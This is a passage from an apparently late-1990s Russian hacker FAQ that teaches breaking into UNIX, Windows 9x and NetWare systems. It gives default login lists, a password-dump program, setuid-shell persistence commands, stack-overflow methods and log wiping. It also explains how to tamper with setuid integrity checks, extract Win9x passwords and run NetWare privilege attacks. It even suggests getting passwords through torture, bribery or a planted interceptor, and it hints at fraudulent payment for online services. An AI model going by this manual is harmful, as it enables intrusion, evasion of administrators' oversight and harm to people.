                                                    ц_ 8 - TRANSINFORM
                                                    ю_ 9 - LENFINKOM

   В X.25  сетях  в соответствии  с рекомендацией  Х.121  используются
адреса 3-х типов:

 1) полный (международный) сетевой адрес - 0 250 С ХХХХYYYYZZ,
    где (слева направо):
   - 0  - признак того, что адрес задан в полном виде;
   - 2504 - DNIC - код сети, где:
   - 2  - код Европы;
   - 50 - код страны (СССР);
   - С  - код национальной сети (для ИНФОТЕЛ С=4);
   - ХХХХYYYYZZ (до 10 цифр) - уникальный код абонента внутри сети.
 2) внутрисетевой адрес - СХХХХХХХХХХ, где:
   - С  -  последняя цифра DNIC'а, т.е. уникальный код сети внутри
           одной страны;
   - ХХХХХХХХХХ - код абонента.
 3) телефонный номер - 9GNNNNNNNNNNN, где;
   - 9 признак телефонного номера;
   - G - код узла коммутации (города);
   - NNNNNNNNNNN  (до 11 цифр) - телефонный номер внутри города.
---

1.2.6 Обзор сети SprintNet.

    Сеть  "SprintNet" ( далее Sprint ) -  глобальная  сеть  коммутации
пакетов,  одна  из  крупнейших  в  мире в настоящее время. Сеть Sprint
является  непосредственным  развитием  сети Telenet - одной из  первых
общедоступных  сетей  коммутации  пакетов.  Владельцами  сети являются
крупные американские  коммуникационные компании UTI и GTE. Их дочерней
компании  US  Sprint принадлежит крупнейшая в мире сеть оптоволоконных
каналов, составляющая основу Sprint.
    К Sprint подключено около  6000 host-компьютеров  и шлюзов (gates)
других  фирм  и  организаций, предоставляющих разнообразные справочно-
информационные услуги и обеспечивающих  выход  в другие сети.
    Примерно 110 сетей во всём мире поддерживают соединения со Sprint.
Подробнее см. http://www.sprintlink.net/
---

1.2.7 Обзор сети ROSNET.

    Сеть  ROSNET  -  одна  из  Российских  X.25 сетей,  имеющая узлы в
большинстве  крупных  городов.  Раньше  эта сеть специализировалась на
передаче  телексных  и  телеграфных сообщений, в настоящее время к ней
подключено небольшое количество систем типа АДОНИС, Rex400,  доступных
без NUI и предоставляющих почтовые и другие услуги пользователям.
    Телефоны входов можно посмотреть на http://www.rosnet.ru/
---

1.2.8 Сканирование X.25

    Время от времени  у вас  может  возникать потребность узнать какие
системы подключены к X.25 сети.  Так  как провайдеры X.25 не публикуют
списки подключенных к сети систем,  их  поиск осуществляется с помощью
сканирования сети - простым последовательным перебором адресов (NUA).
    Естественно,  делать  это  вручную  непроизводительно - для  этого
используются  разнообразные  программы  или  скрипты ( мини-программы,
написанные на встроенном языке терминала,  например  Telemate). Пример
такого скрипта приведён в приложении 3.
---


                      1.3   On-Line Services

1.3.1 Общие принципы предоставления On-Line услуг.

    В предыдущих  частях  были  описаны  общие  принципы  построения и
работы  самых известных On-Line сетей. Однако следует заметить, что до
последнего  времени  работа  в TCP/IP и X.25 сетях требовала некоторых
профессиональных  знаний  и навыков,  не  всегда доступных для обычных
пользователей компьютеров.  Вероятно поэтому были созданы сервисы, для
работы с  которыми не требуется профессиональных знаний. Пользователь,
заплатив  некоторую  сумму  денег,  получает  доступ к необходимым ему
информационным  ресурсам  с  помощью  некой  программы - оболочки, или
просто, в диалоговом режиме.
    Доступ к разнообразным On-Line услугам осуществляется, в том числе
и по  сетям  пакетной  коммутации (X.25).  Поскольку  сети x.25 широко
распространены  и общедоступны,  то  общение  с  On-Line  сервисами не
представляет  никакого  труда.  В рекламных  целях продавцы этих услуг
помещают программы необходимые для работы в качестве бонуса к модемам,
а также  предоставляют  несколько условно-бесплатных часов работы с их
сервисом.
---

1.3.2 Альтернативные методы оплаты за On-Line услуги.

    Большинство  On-Line  сервисов предоставляют свои услуги на основе
данных  полученных  от  работающих с ними пользователей. Так как часто
при работе через  X.25  местоположение пользователя не проверяется, то
существует возможность указать при регистрации некорректные сведения о
пользователе  и  о  его  финансовых  возможностях.  На  этом  принципе
построены альтернативные методы оплаты за On-Line услуги...
---



              Часть 2. Операционные системы и компьютеры.

             2.1 Классификация методов взлома компьютеров.

    Итак, вы имеете какой-либо доступ к сети, и хотите  расширить свои
возможности,  путем  проникновения  на  другие  компьютеры или повысив
свои права на машине с которой вы работаете. Поэтому все методы взлома
делятся на  две группы - методы для проникновения на компьютер из сети
и методы повышения своих прав на компьютере.

  В первом случае это:
   - Уже упоминавшийся подбор пароля. Как сказал Maxim Bocharov "Шансы
     - 0% - если не угадали. 100%  -  если  вы  magician  or  телепат.
     Кpитеpий -  время.  Однако   некoтopые  американцы  ТАКИЕ  ТУПЫЕ,
     что.... везет. 8-)))".  Следует  иметь в виду  то,  что обычно на
     большинстве UNIX login  с  удаленного терминала пользователю root
     запрещен. Поэтому обычно подбирают пароли обычных пользователей.
   - Использование ошибок операционных систем для получения информации
     о пользователях на машине (например login & password).
   - Использование сканирования проходящих в сети  пакетов (sniffing),
     для получения информации о пользователях(см. 1.1.9).
   - Есть в UNIX'е такая программка 'sendmail', если ее поковырять, то
     может можно что-нибудь найти...
   - "Троянские кони"  - программы содержащие в себе некий 'довесок' и
     'подаренные' на атакуемую машину(см. 1.1.10).
   - Один из новых способов : использование ошибок в  WWW-броузерах, и
     возможностей  "активных" элементов WWW-страниц - JAVA, ActiveX. В
     этих  cредствах  создания  интерактивных WWW-страниц используется
     технология   перекачки   некого   кода   или  скрипта  на  машину
     пользователя и затем их автоматическое выполнение.

  Во втором случае всё зависит  от  операционной  системы  компьютера,
на котором вы  хотите добиться повышенных привилегий.  У  каждой  есть
свои дыры, но не ищите их в данном документе - их  описания здесь нет,
про  стандартные не  имеет  смысла рассказывать, разве что, в качестве
классических  примеров,  и  они  уже  давно  заткнуты,  про остальные,
естественно, никто не расскажет  -  т.к.  их  тут  же заткнут, так что
ИЩИТЕ. Это могут быть например:

   - Некорректно написанные программы  (не проверяющие на корректность
     вводимые данные, имеющие недокументированные команды, флаги, etc)
   - Неправильные  права  доступа  к  системным  файлам и директориям.
     ( например  при  инсталляции  QNX  все системные директории имеют
     флаги  rwxrwxrwx  (:,  а  автор  программы mqc  заботливо оставил
     SUID'ный командный файл с такими же атрибутами)

    В  компьютерном  мире  существуют  много организаций, занимающихся
нахождением и  информированием  о  ошибках  и  дырках  в  операционных
системах,  в  целях  их скорейшего нахождения и исправления системными
администраторами,  но  кто  мешает  хакеру  тоже  получать такого рода
информацию ? Обычно, немедленное  использование  полученной информации
дает результаты.  Ссылки на наиболее известные организации приведены в
разделе 'Ресурсы'.

    Далее будут рассмотрены _общие_ аспекты вышеперечисленных  методов
взламывания операционных систем.
---

2.1.1 Как определить операционную систему?

    Прежде чем приступить к исследованиям, необходимо идентифицировать
"подопытную"  операционную  систему.  Обычно,  тип ОС можно определить
по  ее  приглашению  перед  регистрацией  в  системе.  Для   некоторых
операционных систем  вы можете найти примеры приглашений в Приложении.
    Некоторые  беззаботные  сисадмины, помещают информацию о типе ОС и
процессора в поле HINFO DNS(см. 1.1.2).
---

2.1.2 Какие стандартные пароли в операционных системах?

    Как  говорилось ранее, в некоторых случаях возможен подбор пароля,
для входа в  систему.  До  недавнего  времени,  пользователи  выбирали
пароли которые легко запомнить, или даже оставляли те, которые стоят в
системе по умолчанию при инсталляции.  Если у вас не хватает фантазии,
вы можете поэкспериментировать с этим списком:
admin, ann, anon, anonymous/ anonymous, backup, batch, bin, checkfsys,
daemon, demo, diag, field,  ftp, games,  guest/guest, guest/anonymous,
help, install, listen, lp, lpadmin, maint, makefsys,mountfsys,network,
news,nobody, nuucp, nuucpa, operator, powerdown, printer, pub, public,
reboot,rje, rlogin, root, sa, setup, shutdown, startup, sync, sys/sys,
sysadm,sysadmin, sysbin/sysbin, sysbin/bin, sysman, system, tech,test,
trouble,tty, umountfsys, user/user, user1/user1, uucp, uucpa, visitor.

    Также,  очень  часто  пользователи  используют в качестве паролей,
свое имя, фамилию, имя своего бюджета, или вообще его не ставят.
    Hint: Вы уже поменяли свой пароль ? ;-)
---


2.2 Что такое UNIX?

    На больших ЭВМ, UNIX - одна  из  самых  используемых  операционных
систем. Это  основная  операционная система в Internet. Существуют две
основных концепции построения клонов UNIX:

     1. BSD UNIX - от Berkeley Software Distribution
     2. System V - от AT&T

    Также существует SVR4, которая является смесью  этих  двух  типов.
Клоны UNIX  имеют самые различные названия:  Linux,  FreeBSD,  BSD/OS,
Solaris/x86,  NetBSD,  SCO,  UnixWare ( для IBM PC ),   SunOS/Solaris,
NetBSD/Sun  ( для SUN ),  Digital  UNIX, Ultrix, OSF/1 (для DEC'овских
машин), а также HP-UX, AIX, Apollo и другие.

    Некоторые UNIX'ы  свободно  распространяются  вместе  с  исходными
текстами: FreeBSD, Linux, NetBSD.  Более  подробную  информацию  о них
можно получить на:
  FreeBSD: http://www.freebsd.org/
  Linux:   http://www.linux.org/
  NetBSD:  http://www.netbsd.org/
---

2.2.1 Где хранятся пароли в UNIX?

    В классическом UNIX'е информация о пользователях хранится в  файле
/etc/passwd. Этот файл содержит для каждого пользователя системы, семь
полей, разделенных знаком ':'.
    Пример записи на одного пользователя из /etc/passwd:

 will:5fg63fhD3d5g:9406:12:Will Spencer:/home/fsg/will:/bin/bash

Каждая запись содержит :
 Имя пользователя (login): will
     Зашифрованный пароль: 5fg63fhD3d5g
       Номер пользователя: 9406
             Номер группы: 12
Информация о пользователе: Will Spencer
         Домашний каталог: /home/fsg/will
         Оболочка (Shell): /bin/bash

Важное примечание:
    В современных UNIX'ах зашифрованные пароли не хранятся в доступном
всем /etc/passwd, а хранятся в файле, доступном только администратору:
/etc/master.passwd или /etc/shadow.  В  поле пароля /etc/passwd в этом
случае стоит символ '*'. Что делать? На довольно старых  версиях SunOS
может помочь следующая программа:

#include <pwd.h>
main()
{
struct passwd *p;
while(p = getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n",  p->pw_name, p->pw_passwd, p->pw_uid,
p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
---

2.2.2 Как узнать пароль в UNIX ?

    Вопреки  распространенному  мнению,  пароли  в  UNIX не могут быть
расшифрованы. Шифруются не паpоли, а строка пробелов, с использованием
пароля  в  качестве  ключа.  Кроме того для того, чтобы пользователи с
одинаковыми  паролями имели разные выходные строки используется Salt -
это  две  первые  буквы (5f) в  5fg63fhD3d5g - это то, что все считают
шифрованным  паролем  и находится  в passwd во втором поле записи, см.
предыдущий пример.

    Как задается пароль в Unix ?
      a) Система вырабатывает Salt - две случайные буквы.
      б) Запрашивает у пользователя пароль.
      в) Шифрует  строку пробелов по алгоритму DES, используя Salt для
         модификации  алгоритма  шифрования,  пароль  используется как
         ключ. (*)
      г) Записывает Salt, плюс pезультат шифpования в passwd.

(*) В  качестве  метода  свертки   вместо  DES  в  некоторых  системах
используют MD5.
    Идентификация пользователя проходит в два этапа- сначала на запрос
"Login:"  пользователь  вводит  свой login_name, затем программа login
берет Salt, и используя  вышеуказанный  алгоритм преобразует введённое
после запроса "Password:" слово. Результат сравнивается с записанной в
passwd строкой.

    К сожалению ;) в настоящее время не имеется _доступной_ аппаратуры
для  подбора  пароля  методом  полного  перебора  за приемлемое время.
Поэтому программы ломания  паролей  используют  словари ( wordlists ).
Каждое  слово  из  словаря  используется в качестве ключа для шифровки
Salt и результат сравнивается с содержимым passwd.
    Ссылки  на  программы,  подбирающие  пароли по словарям или полным
перебором смотрите в разделе 'Ресурсы'.
---

2.2.3 Какие методы применяются для взлома UNIX?

%PATH%
~~~~~~
    Если ваш администратор забыл убрать из переменной окружения %PATH%
"."(текущий каталог),  то этим можно воспользоваться положив в каталог
программу-троянца(2.1.4) с  именем какой-либо наиболее употребительной
команды  системы  (например  ls).  Тогда  при  попытке  администратора
просмотреть содержимое этого каталога может запустится ваша программа,
делающая свое черное дело :-).
    Вообще, в  некоторых  системах  стоит  внимательнее  посмотреть на
порядок перечисления каталогов в переменной PATH, а также расположение
часто запускаемых из командной строки программ.

UID SHELLS.
~~~~~~~~~~~
    Когда бит  'UID'  поставлен  у  программы - оболочки ( shell ), ее
выполнение изменяет ваш user id на user id владельца  этой  программы,
и вы будете использовать полученный acccount  пока не выйдите  из этой
вторичной  оболочки. Это дает вам возможность исполнять любые  команды
под user id полученного account'a. Это  лучше,  чем  знание пароля для
account'a, вы можете пользоваться account'ом пока существует этот файл
в системе,  даже  если  владелец сменит пароль. Обычно, когда получают
доступ к account'у, делают копию shell в какой-то директорий, и ставят
UID и GID биты. Теперь если доступ к этому account'у потерян, можно из
другого запустить UID-shell и получить необходимый доступ.
    UID и GID биты ставятся программой chmod. Например:

chmod 6555 /tmp/sh

Изменение UID программ.
~~~~~~~~~~~~~~~~~~~~~~~
    Если вы имеете доступ по_записи(write access) к UID файлу,то можно
легко превратить его в оболочку. Скопируйте файл, затем наберите:

cat /bin/sh > [uid файл]

    Это  заменит  его содержимое на содержимое shell, но UID останется
прежним. Теперь запустите заменённую программу,  сделайте  скрытый UID
shell, и  верните  UID  файл в прежнее состояние из копии. В настоящее
время  в  последних  версиях  UNIX-систем  при попытке записи в файл с
установленным битом 's', этот бит сбрасывается, что делает невозможным
применение данного метода.
    Как найти рутовские файлы с suid ? Попробуйте:

find / -user root -perm -6000 -print

Срыв стека.
~~~~~~~~~~~
    Самая новомодная методика взлома UNIX. В программах  написанных на
языке С,под массивы отводится место в стеке программы. Если при работе
с таким  массивом  происходит  запись  в массив  за его  границей, это
приводит к разрушению стека программы  и непредсказуемым  результатам.
Например при выходе из модуля происходит переход по случайному адресу.
    Переполнения стека приводит к изменению адреса возврата из функции
и может быть использовано для изменения  нормального  хода  выполнения
программы. Логично  было бы  заставить  программу  выполнить  какие-то
незапланированные действия, например, запустить(spawn) shell.  Но если
в программе не содержится необходимого кода? Как поместить необходимый
код в адресное пространство инструкций? Необходимо  поместить  код для
выполнения в  переполняемый буфер и переписать адрес возврата на точку
внутри этого  буфера. Код, при выполнении  которого  происходит запуск
shell, получил название  'Shell  Code'.  Если  программа,  из  которой
происходит запуск shell проинсталлирована как suid root, то получается
root shell.
    Пример программы, реализующей вышеописанные действия  приводится в
приложении 6.

Поиск программ с возможностью срыва стека.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Как  было  сказано  выше,  переполнения  буфера  происходят  из-за
помещения в него большего количества  информации,  чем предполагалось.
Так как Язык C не  имеет  каких-либо  встроенных  средств для проверки
границ массивов данных,  переполнения  часто  встречаются. Стандартная
библиотека С  предоставляет ряд функций для копирования и конкатенации
строк, и эти функции  не имеют  проверок границ. Вот некоторые из этих
функций:  strcat(),  strcpy(),  sprintf() и  vsprintf().  Эти  функции
используют  строки  заканчивающиеся  символом '\0' и  не  проверяют на
переполнение при обработке принимаемой строки.  gets() - это  функция,
которая считывает строку со стандартного ввода (stdin) в буфер  до тех
пор,  пока  не  встретит  символ  новой строки или EOF. Эта функция не
производит  проверки  на переполнение буфера.  С  семейством   функций
scanf()  может  возникнуть  такая  же  ситуация, если в строке формата
используется  "%s"  и  принимающая  строка  недостаточно  велика. Если
принимающий  массив  какой-нибудь  из  этих функций представляет собой
буфер  постоянной  длины  и данные, его заполняющие каким-либо образом
зависят  от ввода  или другой  информации,  зависящий от пользователя,
то скорее всего вы можете вызвать ситуацию переполнения буфера.
    Другая, часто использующаяся при программировании конструкция, это
цикл посимвольного ввода из stdin или другого  файла в  буфер   до тех
пор, пока не будет  встречен  символ  конца  строки (EOL), конца файла
(EOF) или другой разделитель. В такой конструкции обычно  используются
функции getc(), fgetc(), или getchar(). Если при этом нет  проверок на
переполнение, то в таком коде тоже легко  можно  вызвать  переполнение
буфера.
    Программа grep играет значительную роль в поиске таких слабых мест
в программах.  Исходные тексты свободно  распространяемых операционных
систем  вполне доступны.  И этот  факт становится  весьма  интересным,
учитывая то,  что многие  коммерческие операционные системы базируются
на исходных текстах свободно распространяемых систем. В общем,изучайте
исходные тексты UNIX !
---

2.2.4 Как научится не оставлять за собой следов ?

Файлы протоколов работы (log-files).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    UNIX хранит системные протоколы в следующих файлах:

/var/log/utmp (/etc/utmp)     - запись о вашем  текущем  присутствии в
                                cистеме.  Используется программой who.
/var/log/wtmp (/usr/adm/wtmp) - протокол всех вхождений в систему.
                                Используется программой last.
/var/log/lastlog (/usr/adm/lastlog) - Дата последнего  входа в систему
                               каждого пользователя. Выдается на экран
                               программой login.

    Это  не  текстовые  файлы  и  отредактировать  их  в vi  руками не
получится.  Для  того,  чтобы стереть информацию о своём  присутствии,
надо  использовать  специальную программу, написанную для  этих целей.
    Пример такой программы приведён в приложении 7.

    Часто информация о входах пользователей и о некоторых их действиях
(например запуск su) выдается на консоль администратору  и в системный
лог, который может называться /var/log/messages. Для модификации этого
файла можно воспользоваться редактором ed или vi.

Программа CRON.
~~~~~~~~~~~~~~~
    Cron - программа,  которая  запускает  другие  задачи  с некоторой
периодичностью. Описание этих задач и времени  их  запуска  хранятся в
файлах в двух директориях: /usr/lib и /usr/spool/cron.

    Файл crontab в директории /etc или  /usr/lib  описывает  системные
задачи, которые надо запускать с  определённой  периодичностью. Формат
этого файла:

минуты часы день_месяца месяц_года день_недели коммандная_строка
[0-59] [0-23] [1-31]      [1-12]     [1-7]     [путь, аргументы]

    Пример строки из crontab:
0 1 * * *  /bin/sync

Это значит, что надо запускать команду sync, содержащуюся в директории
/bin  в час  ночи каждый день. Команды выполняемые из /usr/lib/crontab
получают привилегии root (UID = 0).
    В  каталоге  /usr/spool/crontabs,  содержатся  файлы имеющих имена
системных account'ов. Эти файлы содержат поля, сходные с содержащимися
в  файле /usr/lib/crontab, но команды из этих  полей  выполняются с ID
пользователя с именем, соответствующим имени этого файла. Формат полей
аналогичен.

    Обычно с помощью утилиты cron  запускаются  программы, проверяющие
целостность  системы:  проверяются  длинна  и/или  контрольные   суммы
файлов,  наличие  в  системе  пользователей  с  UID = 0, и т.д. О всех
подозрительных явлениях пишется письмо root'у.  При модификации файлов
cron пишется протокол в файл /usr/adm/cronlog.
    В некоторых  системах,  например  во  FreeBSD существуют командные
файлы /etc/daily,  /etc/weekly  и /etc/monthly. /etc/daily запускается
cron'ом  ежедневно  в  2:00am  и  сравнивает  информацию выдаваемую по
команде ls -laT для всех  suid'ных  файлов  с информацией  предыдущего
дня.   Иными  словами  /etc/daily  сравнивает  /var/log/setuid.today и
/var/log/setuid.yesterday.     О  всех  изменениях  посылаются  письмо
администратору. Так что, если вы изменили  или  добавили  какой-нибудь
SUID'ный файл, не забудьте  сделать  соответствующие  изменения в этих
двух файлах.
---

2.3   Windows NT, Windows 9x, Windows 2000.

    Достаточно  большое  количество  машин  в интернете  находятся под
управлением операционных систем Windows 9x или Windows NT. Эти системы
отличаются  от  UNIX-систем  дружественным, для простых пользователей,
графическим  интерфейсом.   Особенно  большое распространение получила
система  Windows9x.  Еще  одно  важное отличие  этих систем в том, что
_начальная_  концепция  защиты  в них формулируется следующим образом:
"Что на запрещено, то разрешено", в отличие от UNIX-систем, где законы
несколько другие: "Что не разрешено, то запрещено".
    Стоит  заметить,  что  в Windows-подобных  системах  в стандартной
поставке  отсутствует  такой сервис, как удаленный терминальный доступ
(telnet) и удаленное использование машинного времени не предусмотрено.
---

2.3.1 Как через Internet подключиться к другой Win'9x машине?

    Многие  пользователи,  работающие  в Internet  из  своих локальных
сетей  открывают  доступ  к  своим  дискам,  например для товарищей по
работе или  каких-либо других  целей. Если  такая  локальная  сеть  не
защищена  Firewall'ом (1.1.7),  то  информация  этих компьютеров может
стать доступной из Internet по протоколу Netbios-via-TCP/IP.
    Для подключения дисков удаленной машины через Internet достаточно
внести IP-адрес  и  имя  машины в файл %WinDir%\hosts на вашей машине,
затем  подключить  удаленный  диск воспользовавшись командой "NET USE"
или с помощью меню "Сетевое окружение\Найти компьютер". Обычно все это
работает  если  между вашей и удаленной машиной есть устойчивая связь.
Время  прохождения пакетов можно проверить воспользовавшись программой
ping,  а доступность портов - установив telnet-соединение c 139 портом
удаленной машины.
    Пару  слов  о nbtstat.  Эта  полезная программа, входящая в состав
Windows9x и Windows NT показывающая информацию о удаленном компьютере,
например пользователей, зарегистрированных на машине.
---

2.3.2 Как узнавать различные пароли в Win'9x?

    Windows 9x хранит свои пароли в двух местах - в registry и в *.PWL
файлах.  Пароли к ScreenSaver'у и к Общим (shared) ресурсам хранятся в
registry.  Пароли  пользователей  на  вход  в  машину - в файлах типа:
%WinDir%\"имя_пользователя".PWL

    В  отличии  от UNIX, пароли пользователей могут быть восстановлены
с наименьшей  затратой  сил.  Windows API имеет мало документированные
функции  (WNetEnumCachedPasswords)  для  получения  паролей _текущего_
пользователя, этим пользуется программа PWLVIEW by Vitas Ramanchauskas
Программа glide самостоятельно расшифровывает информацию в PWL-файлах,
но с связи с этим работает не на всех версиях Windows 9x.
    Программа w95rv by Hard Wisdom показывает пароли к общим ресурсам,
хранящимся в registry:
(H_K_L_M\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\...)

Программу glide.c можно найти на любом поисковом сервере.
---

2.3.3 Где хранятся номера телефонов к Dialup соединениям в Win9x?

    Номера телефонов и другая техническая информация Dialup соединений
хранятся в registry (HKEY_CURRENT_USER\RemoteAccess\Addresses\...) Для
ее показа  можно воспользоваться программой winphone.cpp приведенной в
приложении 8. Также, программа показывает пароли,  если у пользователя
стоит опция "Сохранять пароль"
---

2.3.4 Что такое BO(Back Orifice)?

    Back Orifice - средство  удаленного управления компьютером (remote
administration tool). Чаще используется как троянская программа(см. п.
1.1.10).  Распространяется в сети с различными "полезным" программами;
после  запуска  копирует  себя  в  каталог  Windows  и добавляет  свою
загрузку в системный реестр(registry) в раздел
    HKEY_L_M\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
Имя  троянской программы МОЖЕТ БЫТЬ НЕСТАНДАРТНЫМ(стандартное ".exe"),
поэтому  ведите  поиски  с пристрастием :).  Дополнительную информацию
можно найти на www.cultdeadcow.com.
---


2.4   Novell NetWare

2.2.1 Где хранятся пароли в NetWare?
    Пароли  для  доступа  в сеть  NetWare  хранятся  только  в  голове
пользователя.  В процессе  регистрации  введенный пользователем пароль
преобразуется  в 16-ти  байтовое число. Важно отметить, что сам пароль
может быть пустой (0 символов)  или  длиной 128 символов (максимальная
длина),  но результат  преобразования  всегда  будет  16 байт. Это так
называемая  "свертка" или "хеш" пароля. Именно это число и участвует в
процессе  аутентификации  (подтверждения  подлинности)   пользователя;
оно же  и хранится  на серверах NetWare в качестве свойства "PASSWORD"
объекта типа "USER".  Конечно,  его невозможно "подсунуть" стандартной
процедуре  регистрации,  но,  зная  это  число  можно пройти процедуру
регистрации на сервере с помощью специальной программы.
    На сервере  хеши  паролей хранятся либо в базе bindery (для Novell
NetWare 3.xx), либо в NDS (для 4.0 и выше). 
    
    База bindery представляет собой 3 файла в каталоге SYSTEM  на томе
SYS: net$obj.sys, net$prop.sys и net$val.sys. Нормально, к этим файлам
доступ закрыт даже супервизору, т.к. они все время открыты системой.
    Есть  специальные  функции  CloseBindery  и  OpenBindery,  но  они
доступны  только супервизору. Иногда можно получить копии этих файлов,
если  супервизор  после   "ремонта"  bindery  (bindfix.exe)  не  убрал
резервные  копии. Резервные копии создаются также в SYS:SYSTEM и имеют
те же имена, только расширения *.old.
    При этом  надо еще получить доступ в SYS:SYSTEM хотя бы по чтению,
что большинство администраторов не позволяют.
    
    База  NDS  является  распределенной  и  хранится на всех серверах,
содержащих  Master, ReadWrite  или ReadOnly  реплику  данного  раздела
дерева.  Эта  база  не доступна  по сети в виде файлов, она хранится в
"скрытом"  каталоге  на томе  SYS.  Можно попытаться получить доступ к
резервным  копиям  NDS.  Для  манипулирования файлами bindery в режиме
off-line  существует  несколько  утилит,  которые  доступны  на  сайте
www.nmrc.org в разделе InsecureFiles для NetWare:
http://www.nmrc.org/files/netware/
bindery.zip    61962 This is a set of utilities for extracting,
                     importing, and exporting bindery information.
                     The best thing is that passwords can be extracted
                     and dictionary cracked. For use with Netware 3.x
                     binderies.

    Для  манипулирования  копиями  NDS в режиме off-line рекомендуется
взять  на том  же  сайте  продукт pandora (есть для Windows и Linux) -
http://www.nmrc.org/pandora/download.html.  В этом  же  продукте  есть
программа  panmount  для подключения  к сети  NetWare с использованием
хеша пароля вместо самого пароля.
---

2.2.2 Как узнать пароль в NetWare?
    Пароль в чистом виде нигде не хранится (см. вопрос 2.2.1). Однако,
его можно попытаться "выудить" в следующих местах:
   - из головы пользователя (администратора) - путем пыток, спаивания,
     взяток или догадок;
   - при использовании  на рабочей  станции  Windows,  последняя имеет
     привычку кэшировать пароли (сохранять их в файле *.PWL). Вскрытие
     PWL освещено в отдельном вопросе;
   - можно установить на станции  жертвы  перехватчик паролей. Вряд ли
     администратор  пустит  кого-то  к  своей  машине, но сделать так,
     чтобы он зашел в сеть с вашей машины (под каким-нибудь предлогом)
     - вполне реально.
   - можно "прослушать" процесс  регистрации  пользователя и на основе
     полученных  данных  попытаться  рассчитать  пароль.   Для  версий
     NetWare 3.xx,  при условии, что пароль  не слишком навороченный и
     длинный (до 6-7 символов)  эта  задача  решается в сроки до  1-го
     месяца на PII-400.
     С версиями 4.0 и выше - дело обстоит сложнее :) См. вопрос 2.2.3.
---

2.2.3 Как происходит передача пароля в NetWare?
    При  регистрации  в сети  пароль  в открытом виде не передается, а
применяется схема защищенной аутентификации.

    Рассмотрим  процесс для NetWare 3.xx. Сначала клиент устанавливает
с сервером  первичное  соединение (attach) с состоянием NOT-LOGGED-IN.
После  этого  на  сервер  передается  имя  пользователя  и тип объекта
(User),  на  основании  которых  запрашивается  UserID.  Из введенного
пароля  и  UserID  рассчитывается хеш пароля (далее этот хеш длиной 16
байт  будем  называть  PASSWORD).  После, клиент запрашивает у сервера
EncryptionKey  (по  сути  он  не является  ключом  шифрования,  но так
называется  функция)  и  получает  число  длиной  8  байт.  Это  число
шифруется, используя PASSWORD в качестве ключа шифрования, а результат
(8 байт)  отправляется  на сервер. Сервер делает тоже самое (посланное
число  он знает, свойство PASSWORD у него есть) и сравнивает результат
с присланным  клиентом  числом.  Если  совпадает - пускает, если нет -
клиент  получает  отлуп, но после небольшой задержки, чтобы невозможно
было   организовать   быстрый   подбор   в   режиме   on-line.  Хакер,
вооружившийся  сниффером(1.1.9) и "прослушавший" этот процесс, имеет в
своем распоряжении имя пользователя, его UserID и два 8-байтовых числа
(случайное число,  переданное  сервером  и результат его шифрования на
хеше пароля).  В терминах  криптографии: ему необходимо провести атаку
на  ключ  с известными  открытым  и шифртекстом.  На  PII-350 скорость
такого  перебора  составляет  около  65000  паролей  в секунду. Отсюда
несложно  посчитать  затраты  времени  в зависимости от длины пароля и
используемого алфавита.
Для NetWare 4.0 и выше процесс происходит практически также, но он еще
дополнительно шифруется по алгоритму RSA.
Исходные тексты всех изложенных выше процедур доступны в пакете ncpfs,
распространяемом по лицензии GPL. Он ориентирован на Linux.

---

2.2.4 Какие методы применяются для взлома NetWare?
    Просто "получить все пароли" - невозможно (см. вопрос 2.2.1).

    Получение  прав  администратора.  В отличие  от UNIX,  NetWare  не
предполагает  непосредственной  работы  на   сервере,  соответственно,
невозможно  получить  некий  "привилегированный  шелл"  или  запустить
процесс  от  имени  администратора  будучи  зарегистрированным простым
пользователем.  Остается  2 варианта:  либо сделать себя эквивалентным
по правам  администратору,  либо  узнать пароль администратора и войти
в сеть с его правами.

    Второй  вариант  рассмотрен  в вопросе  2.2.2, но даже если пароль
администратора  удалось  узнать,  не факт,  что вход в сеть обеспечен.
Дело  в том, что подсистема обеспечения безопасности NetWare позволяет
вводить ограничения на сетевой адрес регистрации и число одновременных
подключений.  Узловую  часть  сетевого  адреса можно "подделать" путем
установки  параметра  "node address"  в  файле  net.cfg;  однако  если
станция  администратора,  с которой  разрешен вход, находится в другой
IPX-подсети - не повезло :)

    Чтобы   сделать   себя  эквивалентным   по  правам  администратору
(supervisor  в NetWare 3.xx;  Admin в NetWare 4.0 и выше),  необходимо
"попросить"  об этом  сетевую ОС путем посылки соответствующего пакета
от  имени администратора или другого эквивалентного по правам объекта.
Для этого при помощи команды userlist (NW 3.xx) или nlist (NW4 и выше)
необходимо  посмотреть его сетевой адрес. После этого можно заниматься
"конструированием" и посылкой пакета на сервер.
Этот  подход  известен  под  названием  "голландская  атака" (по месту
первого проведения).  Однако, здесь  подстерегают две неожиданности :)
Во-первых,  пакеты  в  каждом  соединении  имеют  сквозную циклическую
нумерацию. Проблема решается посылкой 256 пакетов с разными номерами.
Во-вторых,  в ответ  на  "голландскую атаку" появилось средство защиты
- электронная подпись пакетов протокола NCP (NetWare Core Protocol)
- NCP Packet Signature.  К версии  NW 3.11  она идет как дополнение, в
более  старших  версиях это "встроенная фича" системы. Если попытаться
провести  "голландскую атаку"  при включенной ncp packet signature, то
пакет  будет  отвергнут сервером, а на консоль, в лог и администратору
пойдет  сообщение  об  атаке. Однако огорчаться не стоит :) Эта фича -
отключаемая,  и по умолчанию она не включена. Многие администраторы ею
пренебрегают,  т.к.  ее использование  замедляет работу сети (расчет и
проверка  электронной подписи для каждого пакета требует затрат как со
стороны клиента, так и со стороны сервера).
"Голландская"  атака  была  проведена  на  NW 3.11. Модель аналогичной
атаки  на NW 4.xx была опробована в Томске, за что и получила название
"томская атака".  В отличие от "голландской", "томская" атака работала
даже при задействованной ncp packet signature. Подробное описание есть
на security.tsu.ru и www.nmrc.org.

    Следующие  3 способа  войти на сервер NW3.xx супервизором подходят
только если есть физический доступ к серверу.

    Итак,  останавливаем  сервер,  загружаем   на  нем  чистый  DOS  и
запускаем diskedit из комплекта Norton Utilities. В нем на новеловском
разделе ищем файлы net$obj.sys, net$prop.sys и net$val.sys и делаем им
новые расширения (*.old), обнуляя тем самым bindery. После чего грузим
NetWare  и  заходим  супервизором  без пароля. Делаем bindrest.exe, не
забыв  поставить  нормальные  атрибуты  на  указанных выше файлах. Как
вариант,  вместо  возни с diskedit можно загрузить  на сервере Linux с
